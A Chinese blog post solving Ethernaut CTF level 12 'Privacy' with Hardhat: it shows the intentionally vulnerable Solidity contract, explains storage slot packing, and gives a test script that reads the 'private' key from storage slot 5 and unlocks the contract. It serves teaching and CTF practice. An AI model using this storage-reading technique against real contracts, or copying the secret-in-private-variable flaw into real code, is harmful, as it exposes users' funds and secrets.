用Hardhat闯关Ethernaut题12 -privacy

  • Verin
  • 更新于 2022-09-28 16:55
  • 阅读 1732

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

Privacy合约

任务:其实就是获取data[2]的值,然后调用unlock传入将locked设置为false

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(now);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) public {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));

        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

这道题和第8题-vault相似,考察的是如何获取合约中的变量,以及状态变量在储存中的布局概念。 关于储存布局,这里有更详细的解读:https://learnblockchain.cn/books/geth/part7/storage.html 简单说就是合约的储存是32个字节一个插槽,如果前面和后面的数据不足32字节,则可以合并为一个。比如此合约中的三个连续uint变量,字节大小为1+1+16<32(uint256是32字节,uint8则是1字节),所以合并为一个插槽。data是一个bytes32的数组,数组中的元素都是32字节,则分别占一个插槽,所以data[2]其实是第5个插槽,可以通过getStorageAt(address,5)来获取。

那么测试脚本可以这么写:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("test", function () {
    var Privacy;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const PrivacyInstance = await ethers.getContractFactory("Privacy");
        Privacy = await PrivacyInstance.deploy([
            ethers.utils.formatBytes32String("ETH1"),
            ethers.utils.formatBytes32String("ETH2"),
            ethers.utils.formatBytes32String("ETH3"),
        ]);

        // Privacy = await PrivacyInstance.deploy([
        //     ethers.utils.formatBytes32String("ETH1").slice(0, 34),
        //     ethers.utils.formatBytes32String("ETH2").slice(0, 34),
        //     ethers.utils.formatBytes32String("ETH3").slice(0, 34),
        // ]);
    });
    it("hack test", async function () {
        const r = await ethers.provider.getStorageAt(Privacy.address, 5);
        expect(ethers.utils.parseBytes32String(r)).to.equal("ETH3");

        const key = r.slice(0, 34);
        await Privacy.unlock(key);
        expect(await Privacy.locked()).to.equal(false);
    });
});

测试结果:

image.png

备注:为了体验一下插槽与储存布局的概念,可以将data设置为bytes16,然后将测试脚本的注释部分运行一遍看看效果。也可以将uint8变量分别设置为uint128或者uint256试试看。

Github:hardhat测试仓库

点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意